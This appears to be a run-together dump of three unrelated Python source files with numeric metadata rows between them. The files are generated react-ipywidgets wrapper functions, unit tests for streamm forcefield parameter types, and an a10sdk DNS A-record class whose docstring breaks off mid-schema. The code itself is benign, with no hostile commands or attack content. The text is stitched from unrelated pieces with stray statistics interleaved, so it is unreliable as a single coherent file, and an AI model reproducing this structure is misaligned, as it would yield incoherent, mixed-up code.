top_right=Button(description="Top right"), ... bottom_left=Button(description="Bottom left"), ... bottom_right=Button(description="Bottom right")) :param align_items: The align-items CSS attribute. :param box_style: Use a predefined styling for the box. :param children: List of widget children :param grid_gap: The grid-gap CSS attribute. :param height: The width CSS attribute. :param justify_content: The justify-content CSS attribute. :param width: The width CSS attribute. """ kwargs: Dict[Any, Any] = without_default(TwoByTwoLayout, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_templates.TwoByTwoLayout comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def VBox( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.widget_box.VBox]: """Displays multiple widgets vertically using the flexible box model. Parameters ---------- children: iterable of Widget instances list of widgets to display box_style: str one of 'success', 'info', 'warning' or 'danger', or ''. Applies a predefined style to the box. Defaults to '', which applies no pre-defined style. Examples -------- >>> import ipywidgets as widgets >>> title_widget = widgets.HTML('<em>Vertical Box Example</em>') >>> slider = widgets.IntSlider() >>> widgets.VBox([title_widget, slider]) :param box_style: Use a predefined styling for the box. :param children: List of widget children """ kwargs: Dict[Any, Any] = without_default(VBox, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_box.VBox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Valid( description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, readout: str = "Invalid", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: bool = False, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_readout: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[bool], Any] = None, ) -> Element[ipywidgets.widgets.widget_bool.Valid]: """Displays a boolean `value` in the form of a green check (True / valid) or a red cross (False / invalid). Parameters ---------- value: {True,False} value of the Valid widget :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes. :param readout: Message displayed when the value is False :param style: Styling customizations :param value: Bool value """ kwargs: Dict[Any, Any] = without_default(Valid, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_bool.Valid comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ValueWidget(value: Any = None, on_value: typing.Callable[[Any], Any] = None) -> Element[ipywidgets.widgets.valuewidget.ValueWidget]: """Widget that can be used for the input of an interactive function :param value: The value of the widget. """ kwargs: Dict[Any, Any] = without_default(ValueWidget, locals()) widget_cls = ipywidgets.widgets.valuewidget.ValueWidget comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Video( autoplay: bool = True, controls: bool = True, format: str = "mp4", height: str = "", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, loop: bool = True, value: bytes = b"", width: str = "", on_autoplay: typing.Callable[[bool], Any] = None, on_controls: typing.Callable[[bool], Any] = None, on_format: typing.Callable[[str], Any] = None, on_height: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_loop: typing.Callable[[bool], Any] = None, on_value: typing.Callable[[bytes], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_media.Video]: """Displays a video as a widget. The `value` of this widget accepts a byte string. The byte string is the raw video data that you want the browser to display. You can explicitly define the format of the byte string using the `format` trait (which defaults to "mp4"). If you pass `"url"` to the `"format"` trait, `value` will be interpreted as a URL as bytes encoded in UTF-8. :param autoplay: When true, the video starts when it's displayed :param controls: Specifies that video controls should be displayed (such as a play/pause button etc) :param format: The format of the video. :param height: Height of the video in pixels. :param loop: When true, the video will start from the beginning after finishing :param value: The media data as a byte string. :param width: Width of the video in pixels. """ kwargs: Dict[Any, Any] = without_default(Video, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_media.Video comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def interactive( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.interaction.interactive]: """ A VBox container containing a group of interactive widgets tied to a function. Parameters ---------- __interact_f : function The function to which the interactive widgets are tied. The `**kwargs` should match the function signature. __options : dict A dict of options. Currently, the only supported keys are ``"manual"`` and ``"manual_name"``. **kwargs : various, optional An interactive widget is created for each keyword argument that is a valid widget abbreviation. Note that the first two parameters intentionally start with a double underscore to avoid being mixed up with keyword arguments passed by ``**kwargs``. :param box_style: Use a predefined styling for the box. :param children: List of widget children """ kwargs: Dict[Any, Any] = without_default(interactive, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.interaction.interactive comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def DescriptionStyle( description_width: str = "", on_description_width: typing.Callable[[str], Any] = None ) -> Element[ipywidgets.widgets.widget_description.DescriptionStyle]: """Description style widget. :param description_width: Width of the description to the side of the control. """ kwargs: Dict[Any, Any] = without_default(DescriptionStyle, locals()) widget_cls = ipywidgets.widgets.widget_description.DescriptionStyle comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def DescriptionWidget( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, ) -> Element[ipywidgets.widgets.widget_description.DescriptionWidget]: """Widget that has a description label to the side. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param style: Styling customizations """ kwargs: Dict[Any, Any] = without_default(DescriptionWidget, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_description.DescriptionWidget comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ProgressStyle( bar_color: str = None, description_width: str = "", on_bar_color: typing.Callable[[str], Any] = None, on_description_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.ProgressStyle]: """Button style widget. :param bar_color: Color of the progress bar. :param description_width: Width of the description to the side of the control. """ kwargs: Dict[Any, Any] = without_default(ProgressStyle, locals()) widget_cls = ipywidgets.widgets.widget_int.ProgressStyle comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def _BoundedInt( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: int = 0, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int._BoundedInt]: """Base class for widgets that represent an integer bounded from above and below. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param max: Max value :param min: Min value :param style: Styling customizations :param value: Int value """ kwargs: Dict[Any, Any] = without_default(_BoundedInt, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int._BoundedInt comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def _BoundedIntRange( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: tuple = (0, 1), on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[tuple], Any] = None, ) -> Element[ipywidgets.widgets.widget_int._BoundedIntRange]: """ :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param max: Max value :param min: Min value :param style: Styling customizations :param value: Tuple of (lower, upper) bounds """ kwargs: Dict[Any, Any] = without_default(_BoundedIntRange, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int._BoundedIntRange comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def _Int( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: int = 0, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int._Int]: """Base class for widgets that represent an integer. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param style: Styling customizations :param value: Int value """ kwargs: Dict[Any, Any] = without_default(_Int, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int._Int comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def _IntRange( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: tuple = (0, 1), on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[tuple], Any] = None, ) -> Element[ipywidgets.widgets.widget_int._IntRange]: """ :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param style: Styling customizations :param value: Tuple of (lower, upper) bounds """ kwargs: Dict[Any, Any] = without_default(_IntRange, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int._IntRange comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs)
43.977244
170
0.685872
17,523
139,144
5.355247
0.039776
0.036626
0.04124
0.079604
0.871558
0.846611
0.828602
0.806394
0.791347
0.778261
0
0.002337
0.188129
139,144
3,163
171
43.991148
0.828348
0.347065
0
0.704375
0
0
0.020707
0
0
0
0
0.000316
0
1
0.0475
false
0.0025
0.008125
0.000625
0.1025
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
553b3cbfc98404c1a24e538db972d5ea36404d00
10,819
py
Python
streamm/forcefields/tests/test_parameters.py
NREL/streamm-tools
663ceff5e9a1145b74ee8c1857988dc94d6535a2
[ "Apache-2.0" ]
4
2017-01-04T02:20:52.000Z
2022-01-23T21:14:32.000Z
streamm/forcefields/tests/test_parameters.py
NREL/streamm-tools
663ceff5e9a1145b74ee8c1857988dc94d6535a2
[ "Apache-2.0" ]
null
null
null
streamm/forcefields/tests/test_parameters.py
NREL/streamm-tools
663ceff5e9a1145b74ee8c1857988dc94d6535a2
[ "Apache-2.0" ]
4
2017-04-25T06:23:08.000Z
2021-04-14T07:10:24.000Z
# coding: utf-8 # Copyright (c) Alliance for Sustainable Energy, LLC # Distributed under the terms of the Apache License, Version 2.0 from __future__ import division, unicode_literals __author__ = "Travis W. Kemper, Ph.D." __copyright__ = "Copyright 2015, Alliance for Sustainable Energy, LLC" __version__ = "0.3.4" __email__ = "organicelectronics@nrel.gov" __status__ = "Beta" ''' Unit tests for the particles module ''' import logging logger = logging.getLogger(__name__) import unittest import os import streamm.forcefields.parameters as parameters import streamm.forcefields.particletype as particletype import streamm.forcefields.bondtype as bondtype import streamm.forcefields.angletype as angletype import streamm.forcefields.dihtype as dihtype import streamm.forcefields.imptype as imptype from streamm_testutil import * class TestParameter(unittest.TestCase): @setUp_streamm def setUp(self): self.paramC = parameters.Parameters() def test_str(self): empty_paramC_str = '\n Parameters \n LJ parameters 0 \n Bond parameters 0 \n Angle parameters 0 \n Dihedral parameters 0 \n Improper Dihedral parameters 0 \n' self.assertEqual(str(self.paramC) ,empty_paramC_str) def test_LJ(self): particle_str = [] self.particletype_i = particletype.Particletype("Ir") self.particletype_i.epsilon = 2.35 self.particletype_i.sigma = 4.15 self.paramC.add_particletype(self.particletype_i) particle_str.append(' Ir epsilon:2.35 sigma:4.15') self.particletype_i = particletype.Particletype('C*') self.particletype_i.epsilon = 1.05 self.particletype_i.sigma = 3.25 self.paramC.add_particletype(self.particletype_i) particle_str.append(' C* epsilon:1.05 sigma:3.25') self.particletype_i = particletype.Particletype("HH") self.particletype_i.epsilon = 0.75 self.particletype_i.sigma = 3.15 self.paramC.add_particletype(self.particletype_i) particle_str.append(' HH epsilon:0.75 sigma:3.15') for particletkey_i, particletype_i in self.paramC.particletypes.iteritems(): self.assertEqual(str(particletype_i),particle_str[particletkey_i]) def test_bond(self): bond_str = [] self.bondtype_i = bondtype.Bondtype("Ir","C") self.bondtype_i.r0 = 1.02 self.bondtype_i.kb = 13.563 self.paramC.add_bondtype(self.bondtype_i) bond_str.append(' bond Ir - C type harmonic \n harmonic r_0 = 1.020000 K = 13.563000 lammps index 0 gromacs index 0 ') self.bondtype_i = bondtype.Bondtype("C","C") self.bondtype_i.r0 = 0.56 self.bondtype_i.kb = 24.023 self.paramC.add_bondtype(self.bondtype_i) bond_str.append(' bond C - C type harmonic \n harmonic r_0 = 0.560000 K = 24.023000 lammps index 0 gromacs index 0 ') self.bondtype_i = bondtype.Bondtype("C","H") self.bondtype_i.r0 = 0.43 self.bondtype_i.kb = 65.123 self.paramC.add_bondtype(self.bondtype_i) bond_str.append(' bond C - H type harmonic \n harmonic r_0 = 0.430000 K = 65.123000 lammps index 0 gromacs index 0 ') for btkey_i,bondtype_i in self.paramC.bondtypes.iteritems(): self.assertEqual(str(bondtype_i),bond_str[btkey_i]) def test_angle(self): angle_str = [] self.angletype_i = angletype.Angletype("H","C","H") self.angletype_i.theta0 = 120.0 self.angletype_i.kb = 4.56 angle_str.append(' angle H - C - H type harmonic \n harmonic theta_0 = 120.000000 K = 4.560000 lammps index 0 gromcas index 0 ') self.angletype_i = angletype.Angletype("C","Ir","C") self.angletype_i.theta0 = 90.0 self.angletype_i.kb = 2.86 angle_str.append(' angle C - Ir - C type harmonic \n harmonic theta_0 = 90.000000 K = 2.860000 lammps index 0 gromcas index 0 ') self.angletype_i = angletype.Angletype("Ir","C","H") self.angletype_i.theta0 = 120.0 self.angletype_i.kb = 1.73 angle_str.append(' angle Ir - C - H type harmonic \n harmonic theta_0 = 120.000000 K = 1.730000 lammps index 0 gromcas index 0 ') for atkey_i,angletype_i in self.paramC.angletypes.iteritems(): self.assertEqual(str(angletype_i),angle_str[atkey_i]) def test_dih(self): dih_str = [] self.dihtype_i = dihtype.Dihtype("H","C","Ir","H",type="harmonic") self.dihtype_i.d = 4.0 self.dihtype_i.mult = 3.0 self.dihtype_i.theat_s = 45.0 self.dihtype_i.kb = 80.6 self.paramC.add_dihtype(self.dihtype_i) dih_str.append(' dihedral H - C - Ir - H type harmonic \n harmonic d = 4.000000 mult = 3.000000 K = 80.600000 theta_s = 0.000000 lammps index 0 gromcas index 0 ') for dtkey_i, dihtype_i in self.paramC.dihtypes.iteritems(): self.assertEqual(str(dihtype_i),dih_str[dtkey_i]) def test_imp(self): imp_str = [] self.imptype_i = imptype.Imptype("Ir","C","C","C",type="harmonic") self.imptype_i.e0 = 180.0 self.imptype_i.ke = 67.3 self.imptype_i.pn = 4.0 self.paramC.add_imptype(self.imptype_i) imp_str.append(' improper Ir - C - C - C type harmonic ') for itkey_i, imptype_i in self.paramC.imptypes.iteritems(): self.assertEqual(str(imptype_i),imp_str[itkey_i]) @tearDown_streamm def tearDown(self): del self.paramC self.paramC = None class Save(unittest.TestCase): def setUp(self): self.paramC = parameters.Parameters('save1') self.particletype_i = particletype.Particletype("Ir") self.particletype_i.epsilon = 2.35 self.particletype_i.sigma = 4.15 self.paramC.add_particletype(self.particletype_i) self.particletype_i = particletype.Particletype('C*') self.particletype_i.epsilon = 1.05 self.particletype_i.sigma = 3.25 self.paramC.add_particletype(self.particletype_i) self.particletype_i = particletype.Particletype("HH") self.particletype_i.epsilon = 0.75 self.particletype_i.sigma = 3.15 self.paramC.add_particletype(self.particletype_i) self.bondtype_i = bondtype.Bondtype("Ir","C") self.bondtype_i.r0 = 1.02 self.bondtype_i.kb = 13.563 self.paramC.add_bondtype(self.bondtype_i) self.bondtype_i = bondtype.Bondtype("C","C") self.bondtype_i.r0 = 0.56 self.bondtype_i.kb = 24.023 self.paramC.add_bondtype(self.bondtype_i) self.bondtype_i = bondtype.Bondtype("C","H") self.bondtype_i.r0 = 0.43 self.bondtype_i.kb = 65.123 self.paramC.add_bondtype(self.bondtype_i) self.angletype_i = angletype.Angletype("H","C","H") self.angletype_i.theta0 = 120.0 self.angletype_i.kb = 4.56 self.angletype_i = angletype.Angletype("C","Ir","C") self.angletype_i.theta0 = 90.0 self.angletype_i.kb = 2.86 self.angletype_i = angletype.Angletype("Ir","C","H") self.angletype_i.theta0 = 120.0 self.angletype_i.kb = 1.73 self.dihtype_i = dihtype.Dihtype("H","C","Ir","H",type="harmonic") self.dihtype_i.d = 4.0 self.dihtype_i.mult = 3.0 self.dihtype_i.theat_s = 45.0 self.dihtype_i.kb = 80.6 self.imptype_i = imptype.Imptype("Ir","C","C","C",type="harmonic") self.imptype_i.e0 = 180.0 self.imptype_i.ke = 67.3 self.imptype_i.pn = 4.0 self.paramC.add_imptype(self.imptype_i) def test_json(self): n_p = self.paramC.n_particletypes n_b = self.paramC.n_bondtypes n_a = self.paramC.n_angletypes n_d = self.paramC.n_dihtypes n_i = self.paramC.n_imptypes json_data = self.paramC.export_json(write_file=True) del self.paramC self.paramC = parameters.Parameters('save1') self.paramC.import_json(json_data) self.assertEqual(self.paramC.n_particletypes,n_p) self.assertEqual(self.paramC.n_bondtypes,n_b) self.assertEqual(self.paramC.n_angletypes,n_a) self.assertEqual(self.paramC.n_dihtypes,n_d) self.assertEqual(self.paramC.n_imptypes,n_i) particle_str = [] particle_str.append(' Ir epsilon:2.35 sigma:4.15') particle_str.append(' C* epsilon:1.05 sigma:3.25') particle_str.append(' HH epsilon:0.75 sigma:3.15') for particletkey_i, particletype_i in self.paramC.particletypes.iteritems(): self.assertEqual(str(particletype_i),particle_str[particletkey_i]) # print particletype_i. bond_str = [] bond_str.append(' bond Ir - C type harmonic \n harmonic r_0 = 1.020000 K = 13.563000 lammps index 0 gromacs index 0 ') bond_str.append(' bond C - C type harmonic \n harmonic r_0 = 0.560000 K = 24.023000 lammps index 0 gromacs index 0 ') bond_str.append(' bond C - H type harmonic \n harmonic r_0 = 0.430000 K = 65.123000 lammps index 0 gromacs index 0 ') for btkey_i,bondtype_i in self.paramC.bondtypes.iteritems(): self.assertEqual(str(bondtype_i),bond_str[btkey_i]) angle_str = [] angle_str.append(' angle H - C - H type harmonic \n harmonic theta_0 = 120.000000 K = 4.560000 lammps index 0 gromcas index 0 ') angle_str.append(' angle C - Ir - C type harmonic \n harmonic theta_0 = 90.000000 K = 2.860000 lammps index 0 gromcas index 0 ') angle_str.append(' angle Ir - C - H type harmonic \n harmonic theta_0 = 120.000000 K = 1.730000 lammps index 0 gromcas index 0 ') for atkey_i,angletype_i in self.paramC.angletypes.iteritems(): self.assertEqual(str(angletype_i),angle_str[atkey_i]) dih_str = [] dih_str.append(' dihedral H - C - Ir - H type harmonic \n harmonic d = 4.000000 mult = 3.000000 K = 80.600000 theta_s = 0.000000 lammps index 0 gromcas index 0 ') for dtkey_i, dihtype_i in self.paramC.dihtypes.iteritems(): self.assertEqual(str(dihtype_i),dih_str[dtkey_i]) imp_str = [] imp_str.append(' improper Ir - C - C - C type harmonic ') for itkey_i, imptype_i in self.paramC.imptypes.iteritems(): self.assertEqual(str(imptype_i),imp_str[itkey_i]) def tearDown(self): del self.paramC if __name__ == '__main__': unittest.main()
40.369403
194
0.636288
1,524
10,819
4.335302
0.111549
0.06811
0.061753
0.044498
0.820796
0.768276
0.753141
0.740427
0.740427
0.740427
0
0.063455
0.255661
10,819
267
195
40.520599
0.756985
0.013772
0
0.757732
0
0.07732
0.208812
0.002542
0
0
0
0
0.082474
1
0.056701
false
0
0.061856
0
0.128866
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
554a3f72790274c327d0dba8f3ce41fed178d81a
7,308
py
Python
a10sdk/core/gslb/gslb_zone_service_dns_a_record.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
16
2015-05-20T07:26:30.000Z
2021-01-23T11:56:57.000Z
a10sdk/core/gslb/gslb_zone_service_dns_a_record.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
6
2015-03-24T22:07:11.000Z
2017-03-28T21:31:18.000Z
a10sdk/core/gslb/gslb_zone_service_dns_a_record.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
23
2015-03-29T15:43:01.000Z
2021-06-02T17:12:01.000Z
from a10sdk.common.A10BaseClass import A10BaseClass class DnsARecord(A10BaseClass): """Class Description:: Specify DNS Address Record. Class dns-a-record supports CRUD Operations and inherits from `common/A10BaseClass`. This class is the `"PARENT"` class for this module.` :param dns_a_record_ipv6_list: {"minItems": 1, "items": {"type": "dns-a-record-ipv6"}, "uniqueItems": true, "array": [{"required": ["dns-a-record-ipv6"], "properties": {"as-replace": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP when enable ip-replace", "format": "flag"}, "dns-a-record-ipv6": {"optional": false, "type": "string", "description": "IPV6 address", "format": "ipv6-address"}, "as-backup": {"default": 0, "optional": true, "type": "number", "description": "As backup when fail", "format": "flag"}, "weight": {"description": "Specify weight for Service-IP (Weight value)", "format": "number", "type": "number", "maximum": 100, "minimum": 1, "optional": true}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "sampling-enable": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "counters1": {"enum": ["all", "hits"], "type": "string", "description": "'all': all; 'hits': Number of times the record has been used; ", "format": "enum"}}}]}, "disable": {"default": 0, "optional": true, "type": "number", "description": "Disable this Service-IP", "format": "flag"}, "static": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP in DNS server mode", "format": "flag"}, "ttl": {"description": "Specify TTL for Service-IP", "format": "number", "default": 0, "optional": true, "maximum": 2147483647, "minimum": 0, "type": "number"}, "admin-ip": {"description": "Specify admin priority of Service-IP (Specify the priority)", "format": "number", "type": "number", "maximum": 255, "minimum": 1, "optional": true}, "no-resp": {"default": 0, "optional": true, "type": "number", "description": "Don't use this Service-IP as DNS response", "format": "flag"}}}], "type": "array", "$ref": "/axapi/v3/gslb/zone/{name}/service/{service-port}+{service-name}/dns-a-record/dns-a-record-ipv6/{dns-a-record-ipv6}"} :param dns_a_record_ipv4_list: {"minItems": 1, "items": {"type": "dns-a-record-ipv4"}, "uniqueItems": true, "array": [{"required": ["dns-a-record-ip"], "properties": {"as-replace": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP when enable ip-replace", "format": "flag"}, "dns-a-record-ip": {"optional": false, "type": "string", "description": "Specify IP address", "format": "ipv4-address"}, "as-backup": {"default": 0, "optional": true, "type": "number", "description": "As backup when fail", "format": "flag"}, "weight": {"description": "Specify weight for Service-IP (Weight value)", "format": "number", "type": "number", "maximum": 100, "minimum": 1, "optional": true}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "sampling-enable": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "counters1": {"enum": ["all", "hits"], "type": "string", "description": "'all': all; 'hits': Number of times the record has been used; ", "format": "enum"}}}]}, "disable": {"default": 0, "optional": true, "type": "number", "description": "Disable this Service-IP", "format": "flag"}, "static": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP in DNS server mode", "format": "flag"}, "ttl": {"description": "Specify TTL for Service-IP", "format": "number", "default": 0, "optional": true, "maximum": 2147483647, "minimum": 0, "type": "number"}, "admin-ip": {"description": "Specify admin priority of Service-IP (Specify the priority)", "format": "number", "type": "number", "maximum": 255, "minimum": 1, "optional": true}, "no-resp": {"default": 0, "optional": true, "type": "number", "description": "Don't use this Service-IP as DNS response", "format": "flag"}}}], "type": "array", "$ref": "/axapi/v3/gslb/zone/{name}/service/{service-port}+{service-name}/dns-a-record/dns-a-record-ipv4/{dns-a-record-ip}"} :param dns_a_record_srv_list: {"minItems": 1, "items": {"type": "dns-a-record-srv"}, "uniqueItems": true, "array": [{"required": ["svrname"], "properties": {"as-replace": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP when enable ip-replace", "format": "flag"}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "as-backup": {"default": 0, "optional": true, "type": "number", "description": "As backup when fail", "format": "flag"}, "weight": {"description": "Specify weight for Service-IP (Weight value)", "format": "number", "type": "number", "maximum": 100, "minimum": 1, "optional": true}, "svrname": {"description": "Specify name", "format": "string", "minLength": 1, "optional": false, "maxLength": 63, "type": "string", "$ref": "/axapi/v3/gslb/service-ip"}, "sampling-enable": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "counters1": {"enum": ["all", "hits"], "type": "string", "description": "'all': all; 'hits': Number of times the record has been used; ", "format": "enum"}}}]}, "disable": {"default": 0, "optional": true, "type": "number", "description": "Disable this Service-IP", "format": "flag"}, "static": {"default": 0, "optional": true, "type": "number", "description": "Return this Service-IP in DNS server mode", "format": "flag"}, "ttl": {"description": "Specify TTL for Service-IP", "format": "number", "default": 0, "optional": true, "maximum": 2147483647, "minimum": 0, "type": "number"}, "admin-ip": {"description": "Specify admin priority of Service-IP (Specify the priority)", "format": "number", "type": "number", "maximum": 255, "minimum": 1, "optional": true}, "no-resp": {"default": 0, "optional": true, "type": "number", "description": "Don't use this Service-IP as DNS response", "format": "flag"}}}], "type": "array", "$ref": 